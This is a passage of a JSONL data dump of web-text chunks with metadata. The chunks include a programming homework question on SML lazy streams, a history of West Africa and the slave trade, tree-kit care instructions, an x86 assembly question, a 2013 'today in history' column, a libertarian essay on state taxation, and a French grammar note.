"2025-12-18T05:22:12.922293"} {"text": "s2 ) ; val n3 = 6 : int val s3 = susp fn : int stream ' here is what is given as code : ( * suspended computation * ) datatype ' a stream ' = susp of unit - > ' a stream ( * lazy stream construction * ) and ' a stream = empty | cons of ' a * ' a stream ' ( * lazy stream construction and exposure * ) fun delay ( d ) = susp ( d ) fun force ( susp ( d ) ) = d ( ) ( * eager stream construction * ) val empty = susp ( fn ( ) = > empty ) fun cons ( x, s ) = susp ( fn ( ) = > cons ( x, s ) ) ( * inspect a stream up to n elements take : int - > ' a stream ' - > ' a list take ' : int - > ' a stream - > ' a list * ) fun take 0 s = | take n ( s ) = take ' n ( force s ) and take ' 0 s = | take ' n ( cons ( x, xs ) ) = x : : ( take ( n - 1 ) xs ) my attempt at a solution i tried to do the following which get the int list and transforms it to int stream ' : ( * lazysort : int list - > int stream ' * ) fun lazysort ( : int list ) = empty | lazysort ( h : : t ) = cons ( h, lazysort ( t ) ) ; but when calling force it does not return the minimum element. i have to search for the minimum, but i do not know how... i thought of doing insertion sort like following : fun insertsort = | insertsort ( x : : xs ) = let fun insert ( x : real, ) = [ x ] | insert ( x : real, y : : ys ) = if x < = y then x : : y : : ys else y : : insert ( x, ys ) in insert ( x, insertsort xs ) end ; but i have to search for the minimum and to not sort the list and then put it as a stream... any help would be appreciated.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.514906521861813, "token_count": 473, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.923004"} {"text": "until recently, western scholarship ignored west africa. the blind spot reflects europes historical view of africa as a continent to be exploited, not examined. to europe, africa was a market for products and a source of raw goods. in short, it was an object of mercantilism the economic system by which colonial powers economically exploit weaker regions. thus, west africa was defined in terms of economic goods the ivory coast, the gold coast, the slave coast. beneath the definitions imposed by mercantilism, however, lay a remarkable network of peoples and cultures that amazed and even frightened the west. black africa sometimes called the heart of africa is one of four distinct areas on the continent. the other three are the mediterranean coast to the north ; east africa ; and south africa. the mediterranean and the east have been known to the world since biblical times, and south africa was one of europes earliest colonies. but, until the 19th century, black africa was almost unexplored. west africa bulges into the atlantic ocean and offers a doorway into black africa. at first, europeans frequented the approximately 500 - mile coast of lower west africa but rarely traveled inward because the rivers were impassable. those who conquered the many barriers found wild animals, unpredictable natives, and tropical disease. ultimately, however, the niger river would provide access into the heart of africa, and the area surrounding the river would become known as nigeria. nigeria comprises the lower section of west africa. europeans created nigeria as a political unit in 1914, but since the stone age it has been peopled by a multitude of ethnic groups with distinct customs and languages. until about 2000 b. c., the sahara region was fertile and probably well inhabited, with the peoples of northern and western africa trading freely. then, as the sahara began to dry, the desert severed most of west africa, especially the south, from contact with the outside. what is known about the early history of southern west africa comes from oral traditions, which are often unreliable. nevertheless, they render a sense of the souths separate development. people seemed to live on roots, wild animals, and fruits, with the main crafts being pottery and woodcarving. empires, such as that of the ibos, arose. the ibos were organized into a lineage system with the nuclear family as the basic unit. a cluster of families constituted a family group ; a collection of family groups made up a lineage ; lineages formed a village ; villages formed a town. religion was a main foundation of social control but the ib", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46683452630802186, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.935259"} {"text": "with the nuclear family as the basic unit. a cluster of families constituted a family group ; a collection of family groups made up a lineage ; lineages formed a village ; villages formed a town. religion was a main foundation of social control but the ibos were also bound together by a well - established economic system in which the village market was the center of socializing as well as of trade. a london commission later described the network of crucial paths that connected such marketplaces : you must pass through it by files. it is like a town a thousand miles long. the paths lead to perfectly definite spots, from one village to another. every village is a road - block ; the path comes to the village... regathers itself, and leads out the other side. in 1472, the portuguese arrived in west africa on an exploratory expedition ; perhaps, through west africa, they could find a trade route to india? instead, they encountered the african empire of benin on the coast. hitherto, most trade had been overland. now the portuguese established factories as european trading stations were called to purchase slaves and other commodities for which they traded firearms. benin was uniquely suited to the slave trade. it had access to the ocean and rivers, and dominated the slave - supplying forest regions. soon, a large and well - equipped army allowed benin to expand. the dutch and british followed. europe was hungry for pepper, ivory, timber, gold, and slaves. the slave trade soon dominated, largely because the trading nations were also colonizing the new world across the atlantic. the colonization was a brutal process during which much of the indigenous population died. this created a labor shortage, especially on the sugar - cane plantations that fed the european sweet tooth. estimates of the total number of slaves exported from africa range from 14 million to 24 million, with half or fewer surviving the cruel atlantic passage. many more died in the wars and raids that netted slaves or in the forced marches to ports and the brutal waiting camps. slavery in africa slavery was not new to africa but it differed from the european variety in at least three major ways. first, the europeans transported slaves over long distances under inhumane conditions. second, slaves within africa had well - defined privileges and rights, while slaves within european societies were virtually nonhuman. third, european slavery was immense in scope. it affected four continents : europe, africa, north america, and south america ; it spanned centuries. it is scant exaggeration to say that much of the wealth of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5033288997059326, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.936336"} {"text": "were virtually nonhuman. third, european slavery was immense in scope. it affected four continents : europe, africa, north america, and south america ; it spanned centuries. it is scant exaggeration to say that much of the wealth of the british empire was built on the slave trade. meanwhile, west africa was desolated. the slave trade first affected the peoples who lived on the atlantic seaboard, then it moved inward along the banks of major rivers. those kidnapped were the healthy and young, leaving tribes without productive members to care for the old and weak. constant warfare and the slave trade disrupted all traditional social and economic life. power now became concentrated in the hands of traders whose business concerns were called houses the house system being the clearing place through which europeans carried out major financial transactions, such as granting credit. the traditional economic system, which was based on villages that traded with each other through various established currencies, was destroyed. ideas and culture had also been exchanged along with goods ; they, too, disintegrated. james s. coleman, in his study nigeria : background to nationalism, pointed to the lasting impact on modern nigeria : many educated africans believe that the slave trade is the main explanation for their so - called primitiveness. they bitterly resent the stigma of inferiority implicit in the fact that their race was once a race of slaves. they feel that they were victims of history, held back while other peoples were advancing. by the end of the 18th century, all of west africa seemed in flux, not only because of the widespread collapse of traditional societies but also because of warfare between competing kingdoms over good slave land. ending european slavery at the same time, europe experienced what has been called the age of enlightenment, which emphasized freedom and the equality of men under law. these ideas would spark the american and french revolutions ; they also brought slavery into question, especially in britain. having dominated the atlantic slave trade, britain would become instrumental in banning it. in 1772, somersett v. knowles a test case was brought before british lord chief justice mansfield to establish whether slaves were free men under british law. mansfield ruled that slaves who set foot on english soil became free. the ruling signaled the beginning of the end of european slavery. in 1776, adam smith published an inquiry into the nature and causes of the wealth of nations, in which he argued that the work of free men was cheaper than that of slaves. economic arguments became mixed, with the religious ones being advanced by quakers. the obstacles were incredible. many politicians", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4616218619913245, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.937417"} {"text": "inquiry into the nature and causes of the wealth of nations, in which he argued that the work of free men was cheaper than that of slaves. economic arguments became mixed, with the religious ones being advanced by quakers. the obstacles were incredible. many politicians were personally involved in the slave trade, which they argued was necessary to the british economy. in 1790, britain had approximately 170 million invested in the slave - dependent west indies alone. back at home, in just one city birmingham 100, 000 muskets a year were manufactured to barter for slaves. in lancashire, textile mills ran at full - tilt to produce material both to trade for slaves and to clothe them. nevertheless, a moral and political tide had turned. in 1807, the slave trade became illegal for english merchants. in 1833, it was abolished throughout the british empire, and britain pressed other nations to abandon the trade as well. to the utter bewilderment of west african chiefs, the british started making treaties for them not to provide slaves. the british now adopted three basic strategies toward west africa : first, they attempted to substitute other goods, especially palm oil ; second, they took over parts of africa, ostensibly to aid in the production of the substituted goods ; and, third, missionaries increased their efforts to save african souls. but, without the slave trade, most british merchants had little interest in a ravaged west africa. investment flowed instead to america, europe, australia, and canada. the two elements within british society that kept interest in west africa alive were explorers and missionaries. exploration and trade even after hundreds of years of exploitation, europeans had not mapped the regions two main rivers the niger and the congo. the conventional method of exploration that is, by simply sailing up rivers did not work well in west africa. many rivers had unnavigable, swampy deltas at their mouths and, farther inland, giant waterfalls plunged down to the plain. but the greatest barrier to exploration was disease. nevertheless, in the 1820s, the british government funded an expedition under captain hugh clapperton, which became the first european venture to reach lake chad in the heart of black africa. hinting at the richness of african culture, clapperton described a city in this near mythical region : the market is well supplied. bands of musicians rove between stalls to attract purchasers to particular booths. here are displayed coarse writing paper of french manufacture, brought from barbary ; scissors and knives of native workmanship ; unwrought silk of a red color... arm", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4505445895451733, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.938400"} {"text": "musicians rove between stalls to attract purchasers to particular booths. here are displayed coarse writing paper of french manufacture, brought from barbary ; scissors and knives of native workmanship ; unwrought silk of a red color... armlets and bracelets of brass ; beads of glass, coral, and amber ; finger rings of pewter and a few silver trinkets, but none of gold... coarse moorish dresses, pieces of egyptian linen... sword blades from malta, etc. missionaries spread not only christianity but also the virtues of hard work, a combination called the bible and plow. missionaries believed that teaching africans to make money by other means would prevent slavery ; happily for british merchants, it would also enable them to buy british goods. anti - slavery efforts often coincided with british merchant interests. for example, the british tried to persuade the influential king of dahomey to stop slave trading. the king refused, arguing that this would give an advantage to his rival in lagos, who would continue to trade. lagos was a strategically placed island, of great importance to trade on the coast, with a king notoriously hostile to british merchants. in 1851, the british captured lagos. the new king signed a treaty that denounced slavery and favored british trade. although the anti - slavery aspect of such treaties often dissolved the slave trade withered only after american slaves were emancipated nevertheless, the anti - slavery treaties tended to cement british power in west africa. british power was also aided by the close - to - constant hostility among indigenous peoples that left them unable to unite in opposition.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44914378184949666, "token_count": 326, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.939024"} {"text": "grow your own tree give your tree seedling the best chance to grow into a healthy tree by following these simple steps below ( or download a pdf version ). 1. register your tree - use your unique tree - code on your instruction booklet to register your tree in forestnation. - you can give your tree a name, place it on a map, and see where we plant all the other trees. - you plant one, we plant one - for every tree kit we sell we plant another tree in a developing country. 2. arranging all the parts - place the growing pot into one half of the white globe. if you have the espresso cup design, use the cup. - the growing pellet should be in the bottom of the pot dimple side up. - depending on the species, some tree seeds are tiny and stuck to the pellet with biodegradable glue so you may not be able to see them. - if you have large seeds leave them on top of the pellet. 3. add lukewarm water - gradually pour 70 ml of lukewarm water onto the growing pellet and wait for it to expand. - you can use the other half of the white globe to measure and pour the water. it holds about approximately 90ml, so don ' t fill it right up. add the water carefully, and gently. - ensure the seeds are covered by using a fork or pencil to gently brush the surface of the expanded pellet. - if you have large seeds push them below the surface and ensure they are well covered, but not too deep. - be careful not to over - water. 4. cover until it your seedling sprouts - close the globe to create an ideal germinating environment for your tree. if you have the espresso cup design just replace the lid. - keep in a warm place until it sprouts ( about 2 \u2013 6 weeks ). - temperature is important! - your tree shouldn ' t need any more water during this period, but check it every 3 to 4 days to make sure it hasn ' t dried out. if it has dried out add a very small amount of water ( 10ml ) and then cover again. - growing times vary. the photo below shows 2xstone pine tree kits after just 3 weeks, and you can see a massive difference in growth stage. temperature and moisture are important! during germination cooler temperatures below 15c and the soil being too wet can cause the seed not to germinate, then rot", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3917906804038483, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.944330"} {"text": "kits after just 3 weeks, and you can see a massive difference in growth stage. temperature and moisture are important! during germination cooler temperatures below 15c and the soil being too wet can cause the seed not to germinate, then rot and start decomposing. in winter, this can happen when the tree kit is located next to a window with a cold draft. it ' s best to give your tree kit continual heat, but not excessive. the optimum temperature for most plants / trees to germinate is 20 \u2013 25c 24hrs per day. while you wait for your tree to sprout... - find out more about your tree species and all the benefits it will bring. - give your tree a name, add a message to it ' s tree page and share it with your friends. - read our blog and help to spread the word. 5. care for your new tree every day - when your seeds have sprouted you will see one or a few little green needles poking out from the soil. - remove the top half of the globe, or lid, and place your seedling somewhere with lots of sunlight for upto 12 weeks depending on how quickly it grows. - don ' t shock your new tree! it ' s best to make the transition from darkness to direct sunlight gradually over a week or so. first keep your seedling in a place with lots of indirect sunlight so it can adjust. - check every day to ensure it does not dry out, and add water gradually. once it starts growing faster it will probably need a little water everyday. so when you see the top soil start to dry add around 10ml of water. - be careful : like any new baby living thing your tree is very fragile! don ' t give it too much direct sunshine, or too much water as this will harm your tree. tip : a harmless moisture mold can occur if the kept in the dark too long. make sure you remove the covering globe and place in a well lit location. if the mould does occur just scratch it off with a fork ( kids get permission first! ). or you can hydrogen peroxide ( at 3 % ), a standard antiseptic available in any pharmacy. this will stimulate oxygenation in the soil and also encourages increased root growth. 6. ready to plant - you can plant your tree in a pot and keep it inside, or plant it directly in the garden. - your tree seedling is ready to plant when it is 6cm to 9cm", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3924377729982755, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.947123"} {"text": "also encourages increased root growth. 6. ready to plant - you can plant your tree in a pot and keep it inside, or plant it directly in the garden. - your tree seedling is ready to plant when it is 6cm to 9cm tall ( about 8 to 12 weeks old, provided you have given it the right amount of sun and water ). - you can keep your tree in its original growing pot, no need to take it out. just make sure that the new soil is deep enough to cover the growing pot completely. - water well daily for two weeks, then as needed as it grows into a tree. - your tree may require fertilizer food, which you can buy from most garden centers. - don ' t plant it outside if their is risk of frost, keep it in a pot inside your warm home. - plant in area where the ground isn \u2019 t too compact and there \u2019 s a good source of water all year round. 7. put your tree on the map - you ' ve registered your tree, grown your tree, given it a name and shared it with all your friends. now you can tell us where you have planted it! - just login, select your tree and locate it with our mapping tool. - remember you can also see where we plant all the other trees too. 8. tree help - if your tree doesn ' t grow, and you don ' t see any seedlings sprout after 6 weeks, please contact us : firstname. lastname @ example. org - don ' t throw your growing pot and pellet away! sometimes seeds don ' t work, that ' s nature. but you can always get some more. contact us here for more details : email @ example. com", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3873585455143066, "token_count": 356, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.947787"} {"text": "i ' m stuck on a problem where i have to provide x86 code for a switch statement given in c. my instructor gives an example in one of his lectures, but i am having difficulty understanding this example. we use red hat linux for this course. in the first section ( which is red ) the code checks if a is less than 1, and jumps to the default if it is which makes sense. in the second section ( which is green ) the code checks if a is greater than 4, and jumps to the default if it is which makes sense. in the third section ( which is red ). t gets put into register % rbx 1 is subtracted from the register, % eax, which has a ( why? ) 8 is put into % ecx the product 8 * ( a - 1 ) is stored into % eax ( why? ) the instruction \" movslq \" is used, but i do not know what it does. i ' ve used movl and the conditional move instructions, but i ' m not quite sure what movslq is and am having a hard time finding this out with google. and everything after that point is uncertain to me because i do not understand why some things are being done, for the most part, or what movslq does.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4875120484246203, "token_count": 269, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.950609"} {"text": "monday, march 11, 2013 today in history - monday, march 11, 2013 today is monday, march 11, the 70th day of 2013. there are 295 days left in the year. today ' s highlight in history : on march 11, 1888, the blizzard of ' 88, also known as the \" great white hurricane, \" began inundating the northeastern united states, resulting in some 400 deaths. on this date : in 1513, giovanni de ' medici was proclaimed pope, succeeding julius ii ; he took the name leo x. in 1861, the constitution of the confederate states of america was adopted by the confederate congress in montgomery, ala. in 1862, during the civil war, president abraham lincoln removed gen. george b. mcclellan as general - in - chief of the union armies, leaving him in command of the army of the potomac, a post mcclellan also ended up losing. in 1930, former president and chief justice william howard taft was buried in arlington national cemetery. in 1942, as japanese forces continued to advance in the pacific during world war ii, gen. douglas macarthur left the philippines for australia. ( macarthur, who subsequently vowed, \" i shall return, \" kept that promise more than 2\u00bd years later. ) in 1959, the lorraine hansberry drama \" a raisin in the sun \" opened at new york ' s ethel barrymore theater. in 1965, the rev. james j. reeb, a white minister from boston, died after being beaten by whites during civil rights disturbances in selma, ala. in 1977, more than 130 hostages held in washington, d. c. by hanafi muslims were freed after ambassadors from three islamic nations joined the negotiations. in 1985, mikhail s. gorbachev was chosen to succeed the late soviet president konstantin u. chernenko. in 1993, janet reno was unanimously confirmed by the senate to be attorney general. in 2004, ten bombs exploded in quick succession across the commuter rail network in madrid, spain, killing 191 people and wounding more than 2, 000 in an attack linked to al - qaida - inspired militants. in 2011, a magnitude - 9. 0 earthquake and resulting tsunami struck japan ' s northeastern coast, killing nearly 20, 000 people and severely damaging the fukushima dai - ichi nuclear power station. ten years ago : a u. s. army helicopter crashed near fort drum in upstate new york, killing eleven soldiers. recep tayyip erdogan ( reh ' - jehp ty ' - ihp ur ' - do", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4072935190467659, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.954843"} {"text": "station. ten years ago : a u. s. army helicopter crashed near fort drum in upstate new york, killing eleven soldiers. recep tayyip erdogan ( reh ' - jehp ty ' - ihp ur ' - doh - wahn ), the leader of turkey ' s governing party, was named prime minister. after a four - day walkout that cost new york city $ 10 million, broadway musicians settled the first strike on the great white way in nearly 30 years. five years ago : the top u. s. military commander for the middle east resigned amid speculation about a rift over u. s. policy in iran ; defense secretary robert gates said that adm. william j. fallon had asked for permission to retire and that gates agreed. democrat barack obama beat hillary rodham clinton in the mississippi primary. one year ago : sixteen afghan villagers \u2014 mostly women and children \u2014 were shot dead as they slept, allegedly by u. s. army staff sgt. robert bales, in an attack that reignited fury at the u. s. presence in afghanistan following a wave of deadly protests over americans burning qurans. today ' s birthdays : media mogul rupert murdoch is 82. abc news correspondent sam donaldson is 79. supreme court justice antonin scalia is 77. musician flaco jimenez ( flah ' - koh hee - meh ' - nez ) is 74. actress tricia o ' neil is 68. actor mark metcalf is 67. rock singer - musician mark stein ( vanilla fudge ) is 66. singer bobby mcferrin is 63. movie director jerry zucker is 63. actress susan richardson is 61. recording executive jimmy iovine ( eye - veen ' ) is 60. singer nina hagen is 58. country singer jimmy fortune ( the statler brothers ) is 58. singer cheryl lynn is 56. actor elias koteas ( ee - ly - uhs koh - tay - uhs ) is 52. actor - director peter berg is 51. actor jeffrey nordling is 51. actress alex kingston is 50. country musician david talbot is 50. actor wallace langham is 48. former u. s. rep. jesse jackson jr., d - ill., is 48. actor john barrowman is 46. singer lisa loeb is 45. singer pete droge is 44. actor terrence howard is 44. rock musician rami jaffee is 44. actor johnny knoxville is 42. rock singer - musicians joel and benji madden (", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4074525966774797, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.955723"} {"text": "financing a free state note : the opinions and commentary expressed in this essay are those of the author and are an exercise of free speech. they do not necessarily represent the views of free state project inc., its directors, its officers, or its participants. financing a free state by john martin oct 2, 2003once a free state is chosen, one of the first orders of business will be to repeal all forms of excessive and abusive taxes and revenues and replace them with fair and very limited financial sources. even in a free state, these changes may take some time, but they will at least be workable. of course the reductions in funding must coincide with equal reductions in spending and downsizing of the state and local governments. because all forms of taxation are forms of theft, libertarians must be very careful to construct any financing proposals so that they can never provide too much revenue or abuse any people. although no taxes are ideal, some are much more abusive and prone to excesses than others. to make a wise decision on what is preferred, one must first analyze all forms of taxation and revenue sources and then choose one or two that are the least oppressive. of course, we must also identify those that are the most oppressive so we can put them on a fast track toward early repeal. let ' s begin with the pros and cons of current forms of government revenue sources beginning with the worst and working toward the best : - licensure : licensure is basically government \" permission \" to earn a living or perform some other routine activity upon the payment of a \" fee \" or other remuneration, and also in some cases, the following of certain regulations and meeting certain \" qualifications. \" although it consumes only relatively small amounts of people ' s wealth directly, it is highly invasive and limits the amount of free enterprise that can enter the economy. in a free libertarian society, one of the most sacrosanct rights is earning a living and enjoying the fruits of one ' s labor. the very thought of any form of licensure or regulation is anethema, and all forms of it should be repealed asap. - property taxes : this is probably the oldest form of taxation and was implemented centuries before income, sales and other taxes were ever conceived. but being old and well - entrenched does not make it desirable. property taxes mandate that people must pay \" rent \" to the state ( or whatever government ) just to keep and use their own private property. in other words, they deprive the property", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4865694326100231, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.971057"} {"text": "and well - entrenched does not make it desirable. property taxes mandate that people must pay \" rent \" to the state ( or whatever government ) just to keep and use their own private property. in other words, they deprive the property owners and users a portion of their own property. the value of a person ' s property does not necessarily relate to his income or ability to pay. although some people can pay these taxes with little difficulty, others can suffer the loss of their homes, farms and other property through unemployment, medical emergencies, natural disasters or other hardships. during the great depression in the 1930 ' s, losses like these were routine even though the taxes property taxes are also invasive, although the invasiveness varies with the type of property being taxed. the most invasive are personal property taxes and taxes on so - called \" business - personal property. \" these require that either the owners provide the government with inventories or allow the government to snoop into their private homes and businesses. the invasiveness is somewhat less on land, buildings and vehicles, but it is present nevertheless. governments like property taxes because they are easy to enforce. if someone doesn ' t pay his tax, the government yanks his property out from under him and sells it. they are also \" recession proof. \" when the economy turns down, sales and income tax collections fall with it, forcing government to downsize somewhat. but even though property values also fall, governments rarely adjust assessments downward to compensate. property assessments can be arbitrary. constitutions and civics books will say \" fair market value. \" but what is going to prevent any government from stretching a property ' s market value towards its higher replacement value and taxing it accordingly? furthermore, governments love to re - assess property. re - assessments are now occurring more frequently than ever, sometimes as often as every year. some of these re - assessments can be invasive. and the costs of the re - assessments ( often inflated ) are added to the property tax bills. governments inflate property values in other ways. cities routinely annex surrounding property ( they have a particular affinity for businesses ), often without the owners ' consent and against their wishes. once annexed, the cities impose their own property taxes ( over and above existing state and county taxes ) and also add numerous regulations and restrictions. they frequently provide \" services \" and \" improvements \" like water and sewer lines, street lights, etc. that the owners may neither need nor want and jack up the properties ' assessments. the cities get tax windfalls", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4796353742386382, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.972142"} {"text": "also add numerous regulations and restrictions. they frequently provide \" services \" and \" improvements \" like water and sewer lines, street lights, etc. that the owners may neither need nor want and jack up the properties ' assessments. the cities get tax windfalls, and the owners get screwed. a property tax variation endorsed by henry george and others, is a tax on land only. the argument is that since land is natural and not the product of one ' s labor, it is a suitable item to tax. nevertheless, even if none of the improvements are taxed, they are attached to the land and are therefore lost if the land is seized. a more sensible form of land taxation for a free state might be to exempt a person ' s first 160 acres ( the size of a typical farm ) as tax - free. this would help protect a person ' s home and other basic assets from seizure. to avoid any form of invasiveness to establish the land ' s taxable value, any remaining acreage could be taxed a fixed amount ( about $ 1 or $ 2 ) per acre statewide, regardless of its value. but even this form of land taxation would not be desirable except, perhaps, in a special emergency where foreigners or corporations conspired to buy up large acreages in an effort to corrupt the government or deprive the free state citizens of available land. however, a more practical solution in a situation like this would be to simply prohibit massive investments and occupations by foreigners with idealologies hostile to a free state environment. if land ownership diversity diminishes too much and small numbers of people hoard too much land, a limit can be placed on how much land any person, family or corporation can own and occupy. bottom line, no form of property tax is desirable in a free state. - income taxes : income taxes are much newer than property taxes. a first if not the first proponent of an income tax was abraham lincoln. he decreed that one be imposed upon the american people to finance the war of northern aggression. fortunately, the supreme court declared that it was income taxes did not get a foothold in america until 1913, and state income taxes did not begin until the 1930 ' s. since then, they have grown from very modest rates on the richest people to complicated nightmares for everybody. we all know the horrors of income taxes withholding, fica, complex deductions, mountains of paperwork, and sometimes draconian enforcement. needless to say, no form of income or occupational tax should ever be tolerated in", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4311129644330105, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.973151"} {"text": "for everybody. we all know the horrors of income taxes withholding, fica, complex deductions, mountains of paperwork, and sometimes draconian enforcement. needless to say, no form of income or occupational tax should ever be tolerated in a free state. - sales and use taxes : sales taxes are much simpler than income taxes. and since they tax consumption rather than production, they are less disruptive to nevertheless, general sales taxes have serious disadvantages. they should never be imposed on basic essentials. food, heating oil, utilities, services, medicine, vehicles, used items, and sales between individuals should never be taxed. even a sales tax on only luxuries at a rate of only 5 % might generate more revenue than a free state can legitimately use. therefore any widespread form of a sales or use tax should be considered undesirable. - motor fuel tax : in a free state, huge money pits like government - run education, housing, medical care, public assistance, and numerous similar programs would be eliminated. the one relatively large program remaining would be the construction and maintenence of roads and bridges. the way to do this is with a user fee. but things like toll booths and tracking devices impose serious problems ranging from traffic jams to privacy invasions not to mention high costs and inefficiency. the best and fairest form of user fee is what we already have in every state a motor fuel tax earmarked exclusively for roads and bridges. it is simple. it is easy to implement and collect. it is fair. the big trucks and gas guzzlers that impact the roads the most pay proportionally more fuel tax. all roads remain absolutely free to use at all times without checkpoints, roadblocks, privacy invasions and other impositions. the only adjustment needed here is to streamline expenditures, eliminate waste and unnecessary projects, and ensure that fuel tax rates remain low. - \" sin \" taxes : these are sales taxes on strictly nonessential things that are considered harmful or frivolous by large numbers of people. these include tobacco, whiskey, gambling, prostitution, recreational drugs, and similar since sin taxes are not nearly as unpopular as most others, their rates are often much higher. in many cases they are so high they promote lucrative black markets that act as a limit on the revenue governments can collect. a limited number of sin taxes might be tolerable in a free state. but rates should be kept low certainly not above 10 %. - a state lottery :", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43451985339247834, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.974419"} {"text": "they promote lucrative black markets that act as a limit on the revenue governments can collect. a limited number of sin taxes might be tolerable in a free state. but rates should be kept low certainly not above 10 %. - a state lottery : the beauty of a state lottery is that it is strictly voluntary. it requires absolutely no expenditure for enforcement except to enforce honesty in its own ranks. neal boortz calls it \" a tax on stupid people. \" certain \" christian \" types claim that it rips off poor people. but the bottom line is that it is totally voluntary, and regardless of how stupid or poor a person might be, he is better off buying tickets voluntarily than being forced to pay any tax he cannot afford. a state lottery will not generate a great deal of revenue. in every state, a lottery has a built - in limit. this is a desirable feature for a free state as it will provide a limit on government growth. with the exception of roads and bridges, a state lottery might provide all the revenue a state needs to provide the remaining essential services like law enforcement and courts ( remember, illegitimate victimless law enforcement and imprisonment will be ended ). - voluntary contributions : if anybody has doubts that voluntary contributions could never adequately fund a free government, he should drive around the countryside and look at the multitudes of new churches that are mushrooming everywhere. many of these churches are ugly but are still expensive. some churches have programs that are not popular with many people. nevertheless, people generously fund them voluntarily. if people are willing to fund churches, there is no reason they would not be willing to voluntarily fund government. in fact, a mere look at the excesses seen in some churches is prima facie evidence that some people might be inclined to over - fund necessary government. obviously voluntary funding would not be able to finance today ' s government behemoths. this, of course, makes voluntary funding a useful limit on government growth. but even with voluntary funding, some checks and balances must be put in place. a constitutional limit should be set so that no government will be over - funded ( in addition, of course, to spending limits and the absolute prohibition of debt ). any surplus funds that accumulate shall be placed in a special account and remain untouchable until it either reaches $ 50 per capita or 10 years pass, whichever is sooner, whereupon it is refunded in equal amounts to every adult citizen. the funding must be structured so that it is totally anonymous. nobody should be ostraci", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4485005384297693, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.975511"} {"text": "##able until it either reaches $ 50 per capita or 10 years pass, whichever is sooner, whereupon it is refunded in equal amounts to every adult citizen. the funding must be structured so that it is totally anonymous. nobody should be ostracized for not contributing his \" fair share, \" or even if he contributes nothing. this is necessary to protect the people ' s freedom of choice and to ensure the natural limits of voluntary funding. in addition, nobody should get \" credit \" for financing any part of government or program. otherwise people in high places can be bribed into doing special favors for generous donors. conclusion : the most important thing to consider when financing a free state is not providing \" enough \" revenue, but to make sure the sources of revenue are sufficiently limited so that government cannot grow out of control. if one must err in his calculation of revenue, it is far safer to fall on the low side with inadequate funding than to estimate too high and risk a runaway government. all forms of revenue should have strict limits regarding amounts and rates. they should not be allowed to increase. one must always remember that it is the nature of government to grow. it is an uphill climb to downsize government or even to keep it in check. but it must be done if a free state is to remain", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4367425218016078, "token_count": 267, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.976082"} {"text": "i thought it should be \u201c je viens du acheter \u201d. is it because \u201c acheter \u201d has a vowel at the beginning? de le becomes du only when le is an article, meaning \" the \". in this case le is a pronoun, meaning \" it \" ( the book ). this sentence contains the particle de ( part of the verb venir de ) followed by the personal pronoun l ' followed by the verb acheter. the usual form of this pronoun is le when referring to a masculine noun, and la when referring 